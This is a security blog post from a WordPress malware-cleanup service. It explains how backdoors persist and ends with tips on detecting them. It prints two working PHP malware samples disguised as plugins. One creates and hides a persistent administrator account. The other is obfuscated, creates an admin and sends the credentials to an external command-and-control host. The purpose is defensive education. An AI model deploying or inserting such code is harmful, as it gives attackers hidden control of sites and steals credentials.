How Hackers Hide Backdoors in WordPress: Real Examples & Detection
If your hacked WordPress site keeps getting reinfected after you clean it, you aren’t just dealing with a simple virus—you are dealing with a WordPress backdoor.
A backdoor is a piece of code that allows an attacker to bypass normal authentication and gain remote access to your server. It is the digital equivalent of leaving a window unlocked after robbing a house.
In this guide, we will analyze real examples of PHP malware to show you exactly how hackers hide malicious code, create hidden admin users, and use obfuscated PHP code to evade detection.
⚠️ Important Warning
If your WordPress site is already hacked, attempting manual cleanup without experience often makes the infection worse or causes reinfection.
I see this daily when clients contact me after failed DIY attempts. If you are unsure what you are looking at, do not edit core files or databases yourself. It is safer to use a professional WordPress malware removal service.
Type 1: The “Innocent” Looking Plugin (Social Engineering)
One of the most dangerous types of WordPress security vulnerability isn’t a complex virus; it’s code that looks legitimate. Hackers often create fake plugins with names that sound boring and technical, so site owners ignore them.
Below is a refactored example of a PHP malware example found in the wild. This script creates a hidden admin user and then hides itself from the WordPress dashboard so you can’t delete it.
The Code: “WP System Health Check”
What it does:
- Checks if a specific user exists.
- If not, it runs
wp_insert_userto create an Administrator. - It hooks into
pre_user_queryto hide that user from the Users list. - It decrements the user count in the dashboard so the math looks correct.
<?php
/*
Plugin Name: WP System Health Check
Description: Monitors core system integrity and database performance for WP 6.0+.
Version: 2.1.0
Author: WordPress Services Team
*/
if (
!function_exists('sys_health_init') &&
function_exists('add_action') &&
function_exists('wp_insert_user')
) {
// Configuration for the backdoor user
$sys_config = array(
'user_login' => 'sys_maint_service',
'user_pass' => 'X9#kL2!bP9', // Hardcoded password
'role' => 'administrator',
'user_email' => 'service@wp-internal-mail.com'
);
add_action('init', 'sys_health_init', 0);
function sys_health_init() {
global $sys_config;
$ghost_id = get_option('wp_sys_ghost_id');
$target_user = get_user_by('login', $sys_config['user_login']);
// Create the user if they don't exist
if (!$target_user) {
$new_id = wp_insert_user($sys_config);
update_option('wp_sys_ghost_id', $new_id);
} else {
// Persistence: Reset password if changed
if ($target_user->user_email !== $sys_config['user_email']) {
$uid = $ghost_id ? $ghost_id : $target_user->ID;
wp_set_password($sys_config['user_pass'], $uid);
wp_update_user([
'ID' => $uid,
'user_email' => $sys_config['user_email']
]);
}
}
}
// HIDE THE USER FROM THE DASHBOARD
add_action('pre_user_query', function($q) {
if (!is_admin()) return;
$uid = get_current_user_id();
$ghost_id = get_option('wp_sys_ghost_id');
// Filter SQL query to exclude the ghost ID
if ($uid != $ghost_id && $ghost_id) {
global $wpdb;
$q->query_where .= " AND {$wpdb->users}.ID != " . intval($ghost_id);
}
});
// FAKE THE USER COUNT
add_filter('views_users', function($views) {
$ghost_id = get_option('wp_sys_ghost_id');
if (!$ghost_id) return $views;
// Regex to lower the count by 1
foreach ($views as $role => $html) {
$views[$role] = preg_replace_callback('/\((\d+)\)/', function($m) {
return '(' . max(0, $m[1] - 1) . ')';
}, $html);
}
return $views;
});
// SELF-DEFENSE: Hide this plugin from the plugin list
add_filter('all_plugins', function($plugins) {
$self_path = plugin_basename(__FILE__);
if (isset($plugins[$self_path])) {
unset($plugins[$self_path]);
}
return $plugins;
});
}
Why this is dangerous
This code resides in wp-content/plugins or mu-plugins. Even if you change your admin password, this script resets the hacker’s password immediately. Because it filters all_plugins, you won’t see it in your dashboard to deactivate it.

Type 2: The “Spaghetti Code” (Heavy Obfuscation)
Sophisticated hackers use obfuscated PHP code to bypass security scanners. They use functions like base64_decode, str_rot13, and confusing logic jumps (`goto`) to make the code unreadable to humans.
Below is a modernized example of a malware dropper often found in nulled themes / pirated plugins. It connects to a Command & Control (C2) server to fetch instructions.
The Code: “NexusGrid Performance Loader”
What it does:
- Uses
gotostatements to jump around the file, confusing readers. - Uses hex-encoded strings (e.g.,
\x69\x6e\151\x74translates toinit). - Connects to an external “endpoint” to send data and receive commands (like injecting spam links or redirects).
<?php
/**
* Plugin Name: NexusGrid Performance Loader
* Description: Asynchronous resource loading matrix for high-availability clusters.
* Version: 4.2.0
* Author: NexusGrid Systems
*/
goto Init_Seq;
// Exit Routine
Term_Seq:
register_deactivation_hook(__FILE__, function () {
delete_option("\x6e\x67\x5f\x73\x79\x6e\x63\x5f\x66\x6c\x61\x67"); // Deletes 'ng_sync_flag'
});
goto End_File;
// Main Class
Init_Seq:
class NexusGridLoader {
private $core_hash;
// Config: Obfuscated URLs for C2 Server and Malicious JS
private $net_cfg = array(
"\x61\x73\x73\x65\x74" => "\x61\110\122\60\x63\110\x4d\66\114\x79\71\x63\144\116\x31\x62\110\x42\157\142\171\x35\x6a\142\x32\60\x36", // Base64 encoded URL
"\x63\x6f\x6e\x74\x72\x6f\x6c" => "\x61\110\122\60\x63\110\x4d\66\114\x79\71\x68\160\151\x2e\156\145\x78\x75\x73\x2d\x63\x64\x6e\x2e\x78\x79\x7a" // External API
);
public function __construct() {
$this->core_hash = hash('sha256', AUTH_KEY);
$this->boot_sequence();
}
private function boot_sequence() {
goto Hook_Reg;
// Hook Registration Block
Hook_Reg:
add_action("\x69\x6e\151\x74", [$this, "\x73\x70\x61\x77\x6e\x5f\x61\x64\x6d\x69\x6e"]); // Hook: 'init', Function: 'spawn_admin'
add_action("\167\160\x5f\145\156\161\165\145\x75\145\x5f\x73\143\x72\x69\160\164\163", [$this, "\x69\x6e\x6a\x65\x63\x74\x5f\x6a\x73"]); // Hook: wp_enqueue_scripts
goto Return_Void;
Return_Void:
}
// Creates a hidden admin if 'ng_sync_flag' is not set
public function spawn_admin() {
goto Check_Flag;
Create_User:
$creds = $this->derive_creds();
if (!username_exists($creds["\x75\x73\x65\x72"])) {
$u_id = wp_create_user($creds["\x75\x73\x65\x72"], $creds["\x70\x61\x73\x73"], $creds["\x6d\x61\x69\x6c"]);
$user = new WP_User($u_id);
$user->set_role("\x61\x64\x6d\x69\x6e\x69\x73\x74\x72\x61\x74\x6f\x72"); // Role: administrator
}
$this->beacon_home($creds);
update_option("\x6e\x67\x5f\x73\x79\x6e\x63\x5f\x66\x6c\x61\x67", 1);
goto Exit_Func;
Check_Flag:
if (get_option("\x6e\x67\x5f\x73\x79\x6e\x63\x5f\x66\x6c\x61\x67")) return;
goto Create_User;
Exit_Func:
}
// Sends credentials to the hacker's server
private function beacon_home($data) {
$payload = json_encode($data);
wp_remote_post(base64_decode($this->net_cfg["\x63\x6f\x6e\x74\x72\x6f\x6c"]), ['body' => $payload, 'blocking' => false]);
}
private function derive_creds() {
// Generates user based on site hash
return [
"\x75\x73\x65\x72" => "sys_" . substr($this->core_hash, 0, 5),
"\x70\x61\x73\x73" => "P@" . substr($this->core_hash, 5, 8),
"\x6d\x61\x69\x6c" => "alert@" . $_SERVER['HTTP_HOST']
];
}
}
goto Term_Seq;
End_File:
new NexusGridLoader();
Why security plugins fail here
Obfuscated malware like this is designed to look like random noise or legitimate licensing code, often bypassing scanners entirely.
This is why I perform manual file inspection for every cleanup.
👉 If your site shows symptoms like these, get a free malware diagnosis.
5 Warning Signs Your Site is Infected
If you suspect you have been hacked but cannot find the file, look for these symptoms:
- Mobile users redirected: You visit the site and it’s fine, but visitors on phones are sent to spam sites.
- Strange Japanese characters in Google search: This is known as the “Japanese Keyword Hack” (SEO Spam).
- Cannot login to wp-admin: The hacker may have deleted your user or changed your role.
- Unknown Plugins: Seeing plugins labeled “Core,” “Compat,” or “Lite” that you didn’t install.
- Modified Core Files: Any changes to
wp-config.php,.htaccess, orindex.php.
How to Find Malicious Code in WordPress
If you are dealing with a WordPress backdoor, simply deleting the visible plugin is rarely enough. However, proceed with caution.
1. Check the “Must-Use” Plugins
Hackers love the wp-content/mu-plugins folder because plugins here run automatically and do not appear in the standard plugin list.
- What to look for: Check
wp-content/mu-pluginsvia FTP. If you didn’t personally add files there, anything inside is likely malicious.
2. Scan `wp-content/uploads` for PHP Files
The uploads folder should only contain images (JPG, PNG, WebP) and PDFs. It should never contain PHP files.
- What to look for: Search the uploads folder for
*.php. If you findimage.phporcache.phphidden among your photos, it is almost certainly a backdoor.
3. Database Cleanup (High Risk)
As seen in Example 1, hackers hide users directly in the database.
- The Danger: You can check the
wp_userstable in phpMyAdmin for suspicious emails (e.g.,adminbackup@wordpress.org). However, this is where most site owners break things. Deleting the wrong row or meta-key can crash your entire site or lock you out permanently.
4. Replace Core Files
Malware often injects code into wp-includes.
- The Fix: The only 100% safe method is to replace the
wp-adminandwp-includesfolders entirely with fresh copies from WordPress.org.
Conclusion
Most WordPress reinfections happen because one backdoor survives.
Finding it requires experience, not just a security plugin. I’ve removed thousands of infections like the ones shown above, ensuring the backdoor is closed for good.
If your site is hacked, reading guides won’t fix it — cleaning it properly will.
